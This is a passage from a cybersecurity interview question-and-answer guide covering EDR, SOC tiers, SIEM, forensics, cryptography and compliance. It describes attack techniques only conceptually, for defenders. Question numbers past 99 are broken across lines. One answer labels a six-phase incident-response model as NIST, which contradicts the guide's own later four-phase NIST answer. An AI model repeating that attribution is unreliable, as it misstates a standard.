A: EDR is an endpoint security technology that continuously monitors and records endpoint activities, detects suspicious behaviour using behavioural analysis, and provides rapid investigation and response capabilities. Unlike traditional AV, EDR detects novel threats through behaviour.

Example: *CrowdStrike Falcon EDR monitors a Windows endpoint. When malware attempts to execute PowerShell, create a scheduled task, and contact an external IP — a sequence of normal activities that together indicate an attack — the EDR detects and blocks the attack chain.*

Q78 What is a host-based firewall?

.

A: A host-based firewall is software running on an individual device that monitors and controls network traffic to and from that specific device. It provides protection even when the device is outside the corporate network, unlike network firewalls which protect the perimeter.

Example: *Windows Defender Firewall on a laptop blocks all inbound connections on port 3389 (RDP) from external IPs. Even if the employee connects from a public hotel Wi-Fi, an attacker on the same network cannot attempt an RDP brute-force attack.*

Q79 What is patch management and why is it critical for security?

.

A: Patch management is the process of regularly updating software, operating systems, and firmware to fix known security vulnerabilities, bugs, and performance issues. Unpatched systems are a primary target for attackers exploiting known vulnerabilities.

Example: *The WannaCry ransomware (2017) only affected Windows systems that had not applied Microsoft's MS17-010 patch, released two months earlier. Organisations with proper patch management (patch applied) were completely unaffected.*

Q80 What is application whitelisting?

.

A: Application whitelisting is a security approach that only allows pre-approved applications to run on a system. Anything not on the whitelist (including new malware) is automatically blocked — even if it evades antivirus detection.

Example: *A manufacturing control system uses application whitelisting. Only approved SCADA software is permitted to run. When an attacker deploys a new malware binary, the system blocks it immediately — the malware is not on the approved list, so it cannot execute.*

Q81 What is a registry in Windows and why is it security-relevant?

.

A: The Windows Registry is a hierarchical database storing configuration settings for the OS, hardware, and applications. It is security-relevant because malware often uses registry keys for persistence (auto-run entries), stores stolen credentials, or modifies security settings.

Example: *Malware adds itself to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run so it automatically starts every time the user logs in. A security analyst checking this registry key during forensic investigation finds the malicious entry.*

Q82 What are Windows Event Logs and which are most important for security?

.

- A:** Windows Event Logs record system, application, and security events. Key security logs:
- Security Log: Login events (4624 success, 4625 failure), privilege use, policy changes.
 - System Log: Service starts/stops, driver failures.
 - Application Log: Application errors and events.

Example: *A SOC analyst sees hundreds of Event ID 4625 (failed login) events for the Administrator account in the Security log, all from an external IP within 5 minutes — a clear sign of an RDP brute-force attack. They immediately block that IP at the firewall.*

Q83 What is syslog and how is it used in security?

.

- A:** Syslog is a standard protocol for sending log messages from network devices, servers, and applications to a centralised syslog server. Security teams aggregate these logs into a SIEM for correlation, alerting, and forensic analysis.

Example: *All Cisco routers, Linux servers, and firewalls in a company are configured to send syslog messages to Splunk. When a firewall logs a blocked connection from a known malicious IP, Splunk correlates it with failed login attempts on a server from the same IP.*

Q84 What is file integrity monitoring (FIM)?

.

- A:** FIM is a security technology that monitors and detects changes to critical files, directories, configuration files, and the Windows Registry. It alerts administrators when unexpected changes occur — indicating potential malware, insider threats, or configuration drift.

Example: *A FIM tool (like Tripwire) monitors /etc/passwd and /etc/sudoers on Linux servers. When an attacker compromises the server and adds a new root user to /etc/passwd, FIM immediately detects the change and alerts the SOC.*

Q85 What is the difference between a process and a thread?

.

- A:**
- Process: An independent program in execution with its own memory space, resources, and security context.
 - Thread: The smallest unit of execution within a process. Multiple threads share the same process memory and resources.
- Malware often injects malicious code into legitimate process threads (process injection) to hide.

Example: *Malware uses process hollowing — it creates a legitimate Windows process (svchost.exe), replaces its memory contents with malicious code, and runs it as a thread. Task Manager shows legitimate 'svchost.exe' but the code running inside is the attacker's malware.*

Q86 What is DLP (Data Loss Prevention)?

.

A: DLP is a security solution that monitors, detects, and prevents the unauthorised transfer of sensitive data outside the organisation. It can inspect content in emails, files, and network traffic, blocking or alerting on policy violations.

Example: *A company's DLP solution scans all outgoing emails. When an employee tries to email an Excel file containing 100 credit card numbers to their personal Gmail, the DLP blocks the email and alerts the security team — preventing a data breach.*

Q87 What is memory forensics?

.

A: Memory forensics is the analysis of a computer's RAM to find evidence of malicious activity. Attackers often use 'fileless malware' that runs only in memory and leaves no files on disk. Memory analysis can reveal running processes, network connections, encryption keys, and injected code.

Example: *After detecting unusual activity, a forensic analyst takes a RAM dump of a server using FTK Imager. Analysis with Volatility reveals that svchost.exe has an injected Meterpreter shellcode running in memory — completely invisible in the file system.*

Q88 What is a sandbox in cybersecurity?

.

A: A sandbox is an isolated, controlled environment where suspicious files or programs can be executed safely to observe their behaviour without affecting production systems. It is used for dynamic malware analysis.

Example: *A SOC analyst receives a suspicious email attachment. They submit it to Cuckoo Sandbox. The sandbox executes the file and reports: it made DNS requests to a C2 domain, created a registry run key for persistence, and encrypted local files — confirming it is ransomware.*

Q89 What is HIDS (Host-based Intrusion Detection System)?

.

A: HIDS monitors a single host (computer) for suspicious activity by analysing system logs, file system changes, running processes, and network connections. Unlike NIDS which monitors network traffic, HIDS focuses on what happens on the individual machine.

Example: *OSSEC (a free HIDS) is deployed on a Linux web server. When an attacker exploits a web app and tries to run 'sudo su', OSSEC detects the privilege escalation attempt and immediately alerts the SOC team.*

Q90 What is SELinux?

.

A: SELinux (Security-Enhanced Linux) is a mandatory access control (MAC) security framework built into the Linux kernel. It enforces strict policies defining exactly what each process and user can access, even overriding standard Linux permissions if the policy says no.

Example: *Even if an attacker compromises Apache web server on a RHEL/CentOS system, SELinux policy prevents Apache from accessing /etc/passwd, writing to /var/log, or making outbound network connections it shouldn't — limiting the impact of the compromise.*

Q91 What is the purpose of antivirus software and its limitations?

.

A: Antivirus software detects and removes malicious software using signature-based detection (comparing files against known malware signatures), heuristic analysis, and behavioural analysis. Limitations:

- Cannot detect zero-day malware (no signature yet).
- Can be evaded by obfuscation and polymorphic malware.
- Fileless malware runs in memory — may evade file-based scanning.

Example: *Traditional AV catches WannaCry using its known signature. But a custom-built, obfuscated ransomware with no signature evades AV completely. This is why EDR (behavioural detection) is needed alongside AV.*

Q92 What is code injection and its common types?

.

A: Code injection involves inserting malicious code into a running process or application. Common types:

- DLL Injection: Forcing a legitimate process to load a malicious DLL.
- Process Hollowing: Replacing a legitimate process's code with malicious code.
- Shellcode Injection: Injecting raw machine code into process memory.

Example: Banking Trojan Emotet uses DLL injection to insert itself into the memory of legitimate Windows processes like 'explorer.exe'. This makes the malicious code appear to run as a trusted system process, bypassing basic security controls.

Q93 What is UAC (User Account Control) in Windows?

.

A: UAC is a Windows security feature that prevents unauthorised changes to the operating system. Even if a user is logged in as an administrator, UAC prompts for confirmation before any action that requires elevated privileges. This limits the damage malware can do with standard user privileges.

Example: When malware tries to modify system files or install a driver, Windows UAC blocks the action and shows a prompt asking for admin approval. If the user is a standard user, the action is blocked entirely — the malware cannot elevate its privileges without UAC bypass.

Q94 What is ASLR (Address Space Layout Randomisation)?

.

A: ASLR is a memory protection technique that randomly arranges the positions of key data areas (stack, heap, libraries) in a process's address space. This makes it difficult for attackers to predict memory addresses to exploit buffer overflow vulnerabilities.

Example: Without ASLR, an attacker knows a DLL is always loaded at memory address 0x7C800000 and can reliably write exploit code targeting that address. With ASLR, the DLL loads at a random address each time — the attacker's hardcoded address will likely crash the program.

Q95 What is DEP (Data Execution Prevention)?

.

A: DEP is a hardware and software security feature that marks certain memory regions (like the stack and heap) as non-executable. If code tries to execute from these regions (as happens in many buffer overflow exploits), DEP blocks execution and generates an exception.

Example: *A buffer overflow attack injects shellcode into the stack and tries to execute it. With DEP enabled, the CPU marks the stack as non-executable. When the exploit redirects execution to the shellcode on the stack, DEP triggers an access violation — blocking the exploit.*

Q96 What is a buffer overflow attack?

.

A: A buffer overflow occurs when a program writes more data to a buffer (temporary memory area) than it can hold. The excess data overwrites adjacent memory, potentially overwriting the return address to redirect programme execution to attacker-supplied code (shellcode).

Example: *A vulnerable login function allocates 64 bytes for a username. An attacker enters a 200-character string. The extra bytes overflow into the return address on the stack. The attacker crafts the overflow to contain shellcode's address — when the function returns, it executes the shellcode.*

Section: Security Monitoring & SOC | Questions 97–116

Q97 What is a SOC (Security Operations Centre)?

.

A: A SOC is a dedicated team (or facility) responsible for continuously monitoring, detecting, analysing, and responding to cybersecurity threats and incidents. SOC analysts monitor SIEM alerts, threat intelligence feeds, and system logs 24/7/365.

Example: *Infosys has a global SOC that monitors millions of security events per day across client environments using Splunk. When a Tier 1 analyst sees an alert for unusual data exfiltration, they escalate to a Tier 2 analyst who performs deep investigation and initiates incident response.*

Q98 What are the different tiers in a SOC?

.

A:

- Tier 1 Analyst: Monitors dashboards, handles initial alert triage, determines if an alert is real or false positive, and escalates.
- Tier 2 Analyst: Performs deeper incident investigation, threat hunting, and incident response.
- Tier 3 Analyst/Expert: Handles advanced persistent threats, malware reverse engineering, and threat intelligence development.

Example: *A Tier 1 SOC analyst sees an alert: '50 failed logins on server X from IP Y.' They confirm this is an active brute-force (not a false positive) and escalate to Tier 2. Tier 2 investigates, finds the IP is in a threat database, blocks it, and investigates if any login succeeded.*

Q99 What is SIEM and how does it work?

.

A: SIEM (Security Information and Event Management) works by:

1. Collecting logs from all sources (firewalls, servers, endpoints, apps).
2. Normalising logs into a standard format.
3. Correlating events across sources using rules.
4. Alerting when correlated events match an attack pattern.
5. Providing dashboards and forensic search capabilities.

Example: *Splunk SIEM correlates a firewall log (blocked connection from IP 1.2.3.4) with an email log (phishing email received from same IP domain) and an endpoint log (user clicked a link) — correlating all three to raise a high-priority phishing incident alert.*

Q10 What is incident response and its phases?

0.

A: Incident response (IR) is the organised approach to addressing and managing the aftermath of a security incident. NIST IR phases:

1. Preparation
2. Identification (Detection)
3. Containment
4. Eradication
5. Recovery
6. Lessons Learned

Example: *A hospital detects ransomware (Identification). They immediately isolate infected systems from the network (Containment), remove the malware and close the vulnerability (Eradication), restore systems from clean backups (Recovery), and then document what went wrong and update defences (Lessons Learned).*

Q10 What is a playbook in SOC?

1.

A: A SOC playbook (also called runbook) is a documented set of step-by-step procedures that analysts follow when responding to a specific type of security incident. It ensures consistent, efficient, and complete incident response.

Example: *A phishing incident playbook: 1) Quarantine the email on mail server. 2) Check if other users received it. 3) Block sending domain and URLs at email gateway. 4) Check if any user clicked the link. 5) Isolate clicked-user's machine. 6) Perform endpoint forensics. 7) Document and close.*

Q10 What is SOAR (Security Orchestration, Automation and Response)?

2.

A: SOAR platforms automate repetitive SOC tasks and orchestrate responses across security tools. When a SIEM alert fires, SOAR can automatically enrich the alert (query threat intel, check reputation), perform initial containment (block IP at firewall), and notify the analyst — reducing response time from hours to seconds.

Example: *When a SIEM detects a malicious IP, Palo Alto XSOAR (a SOAR platform) automatically: queries VirusTotal for IP reputation, checks if any internal host connected to it, blocks the IP at the firewall, creates an incident ticket in Jira, and notifies the Tier 1 analyst — all within 30 seconds.*

Q10 What is threat hunting?

3.

A: Threat hunting is a proactive security practice where experienced analysts actively search for hidden threats within an organisation's network that have evaded existing automated security tools. Unlike reactive monitoring, hunters start with a hypothesis and look for evidence.

Example: *A threat hunter hypothesises: 'An APT group uses PowerShell for lateral movement.' They query the SIEM for all PowerShell executions in the last 30 days that ran with encoded commands and connected to external IPs — discovering previously undetected C2 communication from an admin machine.*

Q10 What is the MITRE ATT&CK; framework?

4.

A: MITRE ATT&CK; (Adversarial Tactics, Techniques and Common Knowledge) is a globally accessible knowledge base of real-world attacker tactics and techniques, organised in a matrix format. It covers 14 tactics (from Reconnaissance to Impact) and hundreds of specific techniques with sub-techniques.

Example: *A SOC uses MITRE ATT&CK; to classify an incident. They map the attack: Initial Access via Spear Phishing (T1566.001), Execution via PowerShell (T1059.001), Persistence via Registry Run Key (T1547.001), and Exfiltration via DNS (T1048) — building a complete attack story.*

Q10 What is the Cyber Kill Chain?

5.

- A:** The Cyber Kill Chain (Lockheed Martin model) describes the 7 stages of a targeted cyber attack:
1. Reconnaissance
 2. Weaponisation
 3. Delivery
 4. Exploitation
 5. Installation
 6. Command & Control (C2)
 7. Actions on Objectives

Example: *APT attack Kill Chain: Attacker researches target on LinkedIn (Reconnaissance) → Creates a weaponised PDF (Weaponisation) → Emails it to the CFO (Delivery) → PDF exploits Adobe Reader (Exploitation) → Installs backdoor (Installation) → Connects to C2 server (C2) → Exfiltrates financial data (Actions on Objectives).*

Q10 What is log analysis and why is it essential for security?

6.

- A:** Log analysis is the examination of system-generated log files to identify security events, anomalies, and attack patterns. Logs provide an audit trail of all system activity and are essential for incident detection, investigation, forensics, and compliance.

Example: *A SOC analyst analyses Apache web server logs and finds thousands of requests to '/wp-admin/install.php' from a single IP within one minute — clearly a WordPress vulnerability scan. They block the IP and check if any requests succeeded.*

Q10 What is a security baseline?

7.

- A:** A security baseline is a minimum set of security controls and configurations that all systems in an organisation must meet. It serves as the standard against which current system security is measured. Deviations from the baseline indicate potential security issues.

Example: *A company's Windows baseline requires: auto-updates enabled, Defender active, UAC enabled, RDP disabled, local admin account renamed, and password complexity enforced. Any system not meeting these settings is flagged for remediation.*

Q10 What is OSINT (Open Source Intelligence)?

8.

A: OSINT is the collection and analysis of information from publicly available sources — websites, social media, job postings, DNS records, domain registrations, public databases, and more. Both attackers (for reconnaissance) and defenders (for threat intelligence) use OSINT.

Example: *A pen tester uses OSINT tools: Shodan to find internet-exposed company servers, LinkedIn to identify IT staff names and technologies they use, and WHOIS to find domain registration details — all before touching the target network.*

Q10 What is digital forensics?

9.

A: Digital forensics is the process of collecting, preserving, analysing, and presenting digital evidence from computers, networks, and storage devices in a manner that is legally admissible. It follows strict chain of custody procedures to ensure evidence integrity.

Example: *After a financial fraud case, forensic investigators create a bit-for-bit copy (forensic image) of an employee's laptop hard drive, analyse it with Autopsy, and find deleted emails and financial spreadsheets proving the employee was leaking data to a competitor.*

Q11 What is chain of custody in digital forensics?

0.

A: Chain of custody is the documented, chronological record of who collected, handled, transferred, or analysed digital evidence. It ensures evidence integrity and admissibility in legal proceedings by proving the evidence was not tampered with.

Example: *When police seize a hard drive as evidence, they photograph it at the scene, seal it in an evidence bag, log who touched it, when, and for what purpose at every step — from seizure to courtroom. Any break in this chain could make the evidence inadmissible.*

Q11 What is a CSIRT (Computer Security Incident Response Team)?

1.

A: A CSIRT is a group of security professionals responsible for receiving, reviewing, and responding to computer security incident reports. They coordinate incident response, perform forensic investigations, and communicate with stakeholders during and after security incidents.

Example: When a major bank detects a breach, their CSIRT is activated. The team includes forensic analysts (investigating the breach), legal counsel (assessing regulatory implications), PR team (managing communications), and IT teams (containment and recovery).

Q11 What is threat modelling?

2.

A: Threat modelling is a structured process of identifying, prioritising, and mitigating security threats to a system during the design phase. Common frameworks: STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, DoS, Elevation of Privilege) and PASTA.

Example: A development team building a banking app uses STRIDE to model threats: Spoofing (someone pretending to be the user) → Mitigation: MFA. Tampering (modifying transaction data) → Mitigation: Digital signatures. Information Disclosure (data leak) → Mitigation: Encryption at rest and transit.

Q11 What is a false positive and how does it cause alert fatigue?

3.

A: A false positive is when a security system incorrectly identifies a legitimate activity as malicious. Alert fatigue occurs when SOC analysts are overwhelmed with too many false positive alerts, causing them to become desensitised and potentially miss real threats buried in the noise.

Example: An IDS rule flags all PowerShell executions as suspicious. Legitimate admin scripts run PowerShell hundreds of times daily, generating hundreds of false positive alerts. Analysts, tired of investigating them, start dismissing all PowerShell alerts — and miss a real attacker using PowerShell for C2.

Q11 What is triage in SOC and how is it done?

4.

A: Triage is the process of prioritising security alerts to determine which ones require immediate attention. SOC analysts evaluate: alert severity, asset criticality (affected system's importance), threat intelligence context, and potential business impact. High-priority alerts get investigated first.

Example: A SIEM generates 500 alerts in one shift. Triage process: An alert for failed login on a guest Wi-Fi printer (low criticality) is low priority. An alert for multiple failed logins on the CEO's laptop followed by a successful login from an unknown country is immediately high priority.

Q11 What is a zero-trust security model?

5.

A: Zero Trust is a security philosophy based on the principle 'Never trust, always verify.' It assumes that threats exist both outside and inside the network. Every access request — regardless of origin — must be authenticated, authorised, and continuously validated before being granted.

Example: In a Zero Trust model, when an employee connects from inside the office to an internal server, they still must authenticate with MFA, their device's health is checked, and they are only given access to the specific resource they need — not the entire internal network.

Q11 What is behaviour analysis in security monitoring?

6.

A: Behaviour analysis (User and Entity Behaviour Analytics — UEBA) uses machine learning to build a profile of normal behaviour for users and systems. It then detects deviations from this baseline that may indicate insider threats, compromised accounts, or advanced attacks.

Example: UEBA establishes that a finance employee normally logs in at 9 AM from Mumbai, accesses accounting software, and downloads <100MB per day. When the same account logs in at 2 AM from Russia and downloads 5GB, UEBA flags it as high-risk account compromise.

Section: Cryptography | Questions 117–126

Q11 What is the difference between encryption and hashing?

7.

- A:**
- Encryption: A two-way process — data is encrypted with a key and can be decrypted back to original data with the appropriate key.
 - Hashing: A one-way process — data is converted to a fixed-size digest. Cannot be reversed to get the original data.

Example: *Passwords should be hashed (stored as bcrypt hash), not encrypted. If encryption is used, a database breach exposes all passwords once the key is found. With hashing, attackers must crack each hash individually.*

Q11 What is MD5 and why is it considered insecure?

8.

- A:** MD5 (Message Digest Algorithm 5) produces a 128-bit hash. It is considered insecure because: it is computationally fast (allowing rapid brute force and rainbow table attacks), and it is vulnerable to collision attacks (two different inputs can produce the same hash).

Example: *Security researchers demonstrated that two different PDFs — one a legitimate certificate and one a fraudulent one — could have the same MD5 hash. This means a CA could sign the good PDF, and the signature would also be 'valid' for the fraudulent one.*

Q11 What is SHA and its variants?

9.

- A:** SHA (Secure Hash Algorithm) is a family of cryptographic hash functions:
- SHA-1: 160-bit output. Now considered insecure (collision attacks demonstrated).
 - SHA-256: 256-bit output. Part of SHA-2 family. Widely used and currently secure.
 - SHA-3: Latest standard, uses different internal design (Keccak sponge construction).

Example: *Bitcoin uses SHA-256 for its proof-of-work mining algorithm. TLS 1.3 certificates use SHA-256 signatures. Git uses SHA-1 (for now) for commit hashing, though migration to SHA-256 is underway due to SHA-1 vulnerabilities.*

Q12 What is a rainbow table attack?

0.

A: A rainbow table attack uses precomputed tables of hash values for common passwords to quickly reverse (crack) hashed passwords. Instead of hashing each guess at attack time, the attacker looks up the hash in their precomputed table — much faster.

Example: *An attacker steals a database with MD5 hashed passwords. They look up each hash in a rainbow table of 10 billion common password hashes. The password '123456' (MD5: e10adc3949ba59abbe56e057f20f883e) is found in milliseconds — cracked instantly.*

Q12 What is password salting and how does it defend against rainbow tables?

1.

A: Salting is adding a unique random value (salt) to each password before hashing. The salt is stored alongside the hash. Even if two users have the same password, their hashes will be different. This defeats rainbow table attacks and slows brute force.

Example: *User A and User B both use password 'password123'. Without salt: both have the same hash. With salt: User A's salt is 'xK9j' → hash('password123xK9j') and User B's salt is 'mP3q' → hash('password123mP3q'). Different hashes — rainbow tables are useless.*

Q12 What is AES (Advanced Encryption Standard)?

2.

A: AES is a symmetric encryption algorithm that is the current standard for securing data. It operates on fixed block sizes (128 bits) with key sizes of 128, 192, or 256 bits. It uses substitution-permutation network structure and is approved by NIST for classified US government data.

Example: *When you encrypt a file with BitLocker (Windows disk encryption), it uses AES-256. Your Wi-Fi WPA2 uses AES. Your WhatsApp messages use AES for message encryption. AES-256 is considered quantum-resistant at current key sizes.*

Q12 What is RSA encryption?

3.

A: RSA (Rivest-Shamir-Adleman) is an asymmetric encryption algorithm based on the mathematical difficulty of factoring large prime numbers. It uses a public key (shared openly) and private key (kept secret). Key sizes: 2048 or 4096 bits recommended for modern security.

Example: *When your browser establishes HTTPS with a server, it uses the server's RSA public key to encrypt a random session key. Only the server's RSA private key can decrypt it. This securely exchanges a symmetric key without ever transmitting it in plaintext.*

Q12 What is the Diffie-Hellman key exchange?

4.

A: Diffie-Hellman (DH) is a key exchange protocol that allows two parties to establish a shared secret key over an insecure channel without transmitting the key itself. Each party generates a private and public value, exchanges public values, and independently derives the same shared secret.

Example: *Two parties (Alice and Bob) want to communicate securely. Using DH, they can exchange public values over an insecure network and each derive the same secret key — without ever transmitting the secret key itself. An eavesdropper who captures all exchanges still cannot compute the secret key.*

Q12 What is perfect forward secrecy (PFS)?

5.

A: PFS is a cryptographic property ensuring that session keys are ephemeral (newly generated for each session) and not derived from a long-term private key. Even if the private key is later compromised, past encrypted sessions cannot be decrypted.

Example: *Without PFS: An attacker records encrypted HTTPS traffic for 2 years. When they finally steal the server's private key, they can decrypt ALL recorded traffic from those 2 years. With PFS (Ephemeral DH): Each session used a unique key. Stealing the private key now decrypts nothing from the past.*

Q12 What is ECC (Elliptic Curve Cryptography)?

6.

A: ECC is an asymmetric cryptography approach based on the mathematics of elliptic curves over finite fields. It provides equivalent security to RSA with much smaller key sizes — a 256-bit ECC key provides similar security to a 3072-bit RSA key. This means faster operations and less bandwidth.

Example: *Modern smartphones use ECDSA (Elliptic Curve Digital Signature Algorithm) for TLS in mobile apps. A 256-bit ECC key provides 128-bit security level — the same as AES-128 — making it efficient for resource-constrained devices while maintaining strong security.*

Section: Incident Response & Forensics | Questions 127–137

Q12 What are the phases of the NIST incident response lifecycle?

7.

A: NIST SP 800-61 defines 4 phases:

1. Preparation: Building IR capability, creating playbooks, training.
2. Detection and Analysis: Identifying incidents and determining scope.
3. Containment, Eradication, and Recovery: Stopping damage, removing threats, restoring systems.
4. Post-Incident Activity: Lessons learned, improving defences.

Example: *A company is hit by ransomware. Preparation (incident response plan existed) → Detection (SIEM alerts on mass file encryption) → Containment (isolate infected systems) + Eradication (remove malware) + Recovery (restore from backups) → Post-Incident (patch the exploited vulnerability, improve email filtering).*

Q12 What is volatile data and why must it be collected first in forensics?

8.

A: Volatile data is data stored in temporary memory (RAM, CPU cache, network connections, running processes, clipboard contents) that is lost when the system is powered off. It must be collected first in forensic investigations before any other action, as it contains critical evidence of active attacks.

Example: *A forensic investigator responding to a live malware incident first runs Volatility to dump RAM and capture: running malicious processes, active network connections to C2 servers, and encryption keys in memory — all of which would disappear the moment the computer is powered off.*

Q12 What is the order of volatility in forensics?

9.

- A:** The order of volatility defines the sequence in which forensic data should be collected, from most volatile (lost first) to least:
1. CPU registers and cache
 2. RAM
 3. Network connections, routing tables
 4. Running processes
 5. Disk (hard drive data)
 6. Backups and archives
 7. Remote logging

Example: *A forensic investigator always collects RAM first, then captures network connections (running 'netstat'), then running processes ('ps' on Linux), and finally makes a disk image — ensuring no volatile evidence is lost due to a system reboot.*

Q13 What is a forensic image and how is it created?

0.

- A:** A forensic image is a bit-by-bit, sector-by-sector exact copy of a storage device, including all files, deleted files, unallocated space, and metadata. Tools like FTK Imager, dd (Linux), and Guymager create forensic images. Hash values (MD5/SHA) are taken before and after to verify integrity.

Example: *A forensic analyst uses FTK Imager to create an exact image of a suspect's 500GB SSD to a sterile drive. They record the SHA-256 hash of the original drive (before) and the image (after). Matching hashes prove the image is an exact, unmodified copy — admissible in court.*

Q13 What is malware analysis and its two main approaches?

1.

- A:** Malware analysis is the process of examining malicious software to understand its functionality, origin, and impact.
- Static Analysis: Examining the malware without executing it (file strings, imports, disassembly). Safe but limited for obfuscated malware.
 - Dynamic Analysis: Executing the malware in a safe sandbox to observe its runtime behaviour (file changes, registry edits, network connections).

Example: Static analysis of a malware sample using PEStudio reveals it imports 'WinExec', 'WriteFile', and networking functions — suggesting file writing and network communication capabilities. Dynamic analysis in Cuckoo Sandbox confirms: it downloads a payload, creates a scheduled task, and contacts a C2 server.

Q13 What is an IoC and how is it used in threat hunting?

2.

A: An Indicator of Compromise (IoC) is a piece of forensic evidence suggesting a system may have been compromised. Types: malicious IP addresses, domain names, file hashes, registry keys, and network signatures. IoCs are shared via threat intel feeds (STIX/TAXII) and used to hunt for threats.

Example: After analysing a new ransomware strain, researchers publish its IoCs: SHA256 hash of the executable, C2 domain names, and registry key it creates. SOC teams feed these into their SIEM to search historical logs and detect if any system in their environment already communicated with the C2 domain.

Q13 What is a rootkit detection technique?

3.

A: Rootkit detection techniques include:

- Offline scanning: Boot from a trusted external OS and scan the disk (bypassing the compromised OS).
- Integrity checking: Compare current system files against known-good hashes.
- Cross-view analysis: Compare what the OS reports vs. what a hypervisor-level tool sees.

Example: A Symantec AV cannot detect a rootkit because the rootkit intercepts OS calls and hides itself. Booting from a trusted live Linux USB and scanning the Windows partition with ClamAV (which doesn't use the compromised OS's kernel) successfully detects and identifies the rootkit.

Q13 What is log correlation and give an example?

4.

A: Log correlation is the process of combining and analysing log data from multiple sources to identify patterns that would not be apparent from any single log source. A SIEM automates this process.

Example: Firewall log: 'Port scan from IP 10.5.0.50 at 14:00'. Authentication log: 'Failed SSH login to server from 10.5.0.50 at 14:05'. Endpoint log: 'New user account created on server at 14:15'. Correlating all three reveals a complete attack sequence: scan → brute force → account creation — an attack invisible when viewing any single log.

Q13 What is the difference between containment and eradication in incident response?
5.

- A:**
- Containment: Limiting the spread and impact of an incident without necessarily removing the threat. Actions: isolating infected systems, blocking malicious IPs, disabling compromised accounts.
 - Eradication: Completely removing the threat from the environment: deleting malware, patching vulnerabilities, resetting compromised credentials.

Example: Containment: Disconnect infected server from the network to stop ransomware spreading (threat still exists on the server). Eradication: Reimage the server to a clean state, patch the exploited vulnerability, and change all passwords used on that server.

Q13 What is the purpose of a post-incident report?
6.

- A:** A post-incident report (also called a lessons learned report or post-mortem) documents what happened during a security incident, the response taken, what worked, what failed, the business impact, and recommendations to prevent recurrence. It is essential for improving security posture.

Example: After recovering from a ransomware attack, the CSIRT documents: initial infection vector (phishing email bypassed email filter), time to detect (3 days), time to contain (6 hours), business impact (Rs 20 lakh lost productivity), and recommendations (improve email filtering, implement offline backups).

Q13 What are the steps to analyse a suspicious email?
7.

- A:**
1. Do NOT click any links or open attachments.
 2. View raw email headers (check SPF, DKIM, DMARC).
 3. Check sender domain/IP against threat intelligence.
 4. Analyse URLs without clicking (paste in URLScan.io, VirusTotal).
 5. Submit attachments to sandboxes (Cuckoo, Any.run).
 6. Check if other users received the same email.
 7. Document findings and take action (quarantine/block).

Example: *A SOC analyst receives a report of a suspicious email claiming to be from 'support@paypa1.com' (note the '1'). They check headers (SPF fails), paste the link in URLScan.io (confirms phishing page), submit PDF attachment to Any.run (dropper malware detected), then quarantine all copies from mail server.*

Section: Compliance & Regulations | Questions 138–147

Q13 What is GDPR and why does it matter for cybersecurity?

8.

A: GDPR (General Data Protection Regulation) is a European Union data protection law that governs how organisations collect, store, process, and protect personal data of EU citizens. For cybersecurity: organisations must implement technical security measures, report breaches within 72 hours, and demonstrate data protection by design.

Example: *An Indian company with European clients suffers a data breach exposing EU customer emails. Under GDPR, they must notify the EU Data Protection Authority and affected customers within 72 hours, and can face fines up to €20 million or 4% of global annual turnover — whichever is higher.*

Q13 What is PCI DSS?

9.

A: PCI DSS (Payment Card Industry Data Security Standard) is a set of security standards designed to ensure that all companies that accept, process, store, or transmit credit card information maintain a secure environment. It has 12 main requirements covering network security, access control, and monitoring.

Example: *A restaurant accepts credit cards. Under PCI DSS, they must: use a firewall to protect cardholder data, encrypt card data in transit (TLS), not store full card numbers after transaction, use unique user IDs (no shared accounts), and conduct quarterly vulnerability scans.*

Q14 What is ISO 27001?

0.

A: ISO 27001 is an international standard for establishing, implementing, maintaining, and continually improving an Information Security Management System (ISMS). It provides a systematic approach to managing sensitive company information with risk management at its core.

Example: *A software company pursuing ISO 27001 certification implements a formal risk assessment, creates an information security policy, establishes access controls, sets up a vulnerability management programme, and conducts annual internal audits — demonstrating to clients that their data is professionally managed.*

Q14 What is HIPAA and how does it relate to cybersecurity?

1.

A: HIPAA (Health Insurance Portability and Accountability Act) is a US federal law requiring healthcare organisations to protect patients' protected health information (PHI). The Security Rule mandates administrative, physical, and technical safeguards including encryption, access controls, and audit logging.

Example: *A US hospital must under HIPAA: encrypt patient records at rest and in transit, implement role-based access so only treating doctors see patient records, maintain audit logs of all access to PHI, and report breaches affecting 500+ people within 60 days to HHS.*

Q14 What is NIST Cybersecurity Framework (CSF)?

2.

A: The NIST CSF is a voluntary framework providing guidelines for managing cybersecurity risk. It organises security activities into 5 core functions:

1. Identify
2. Protect
3. Detect
4. Respond
5. Recover

Example: *A manufacturing company uses NIST CSF: Identify (create asset inventory), Protect (implement access controls and training), Detect (deploy SIEM), Respond (create IR playbooks), Recover (test backup restoration) — building a comprehensive, structured security programme.*

Q14 What is the difference between compliance and security?

3.

- A:**
- **Compliance:** Meeting the minimum requirements of a specific regulation or standard (e.g., PCI DSS, ISO 27001). It is a checkbox exercise — you are compliant if you meet the defined criteria.
 - **Security:** Actually protecting against real threats. True security goes beyond compliance and requires continuous improvement.

Example: *A company passes their annual PCI DSS audit (compliant) but uses outdated encryption, has poor monitoring, and has not security-tested their web application. Three days after the audit, they suffer a breach. Being compliant does not mean being secure.*

Q14 What is a data breach notification requirement?

4.

- A:** Data breach notification laws require organisations to inform affected individuals and/or regulatory authorities when their personal data has been compromised in a breach. Timelines vary by regulation: GDPR requires 72 hours, some US states require 30-45 days.

Example: *A healthcare company discovers on Monday that patient data was exposed for 2 weeks. Under HIPAA, they must notify HHS and affected patients within 60 days. Under GDPR (for EU patients), they must notify the DPA within 72 hours — by Thursday morning.*

Q14 What is risk management in cybersecurity?

5.

- A:** Risk management is the process of identifying, assessing, and prioritising risks, then applying resources to minimise, monitor, and control the probability or impact of those risks. Key steps: Risk Identification → Risk Assessment (likelihood × impact) → Risk Treatment → Risk Monitoring.

Example: *A bank identifies risk: 'Unpatched public-facing server may be exploited.' Assessment: High likelihood (actively being scanned) × High impact (customer data exposure) = Critical Risk. Treatment: Patch immediately. If can't patch immediately, implement WAF as compensating control.*

Q14 What is a risk assessment?

6.

- A:** A risk assessment systematically identifies assets, threats, vulnerabilities, and existing controls to determine the level of risk to an organisation. Output: prioritised list of risks with recommended treatments. Methods: qualitative (Low/Medium/High) or quantitative (monetary values).

Example: A bank's quantitative risk assessment: Asset value (customer database) = Rs 100 crore. Threat (data breach via SQL injection). Vulnerability (unpatched web app). Annual Loss Expectancy = Rs 100 crore $\times$ 30% probability = Rs 30 crore. Spending Rs 5 lakh to patch is clearly justified.

Q14 What is the difference between risk acceptance, mitigation, transfer, and avoidance?
7.

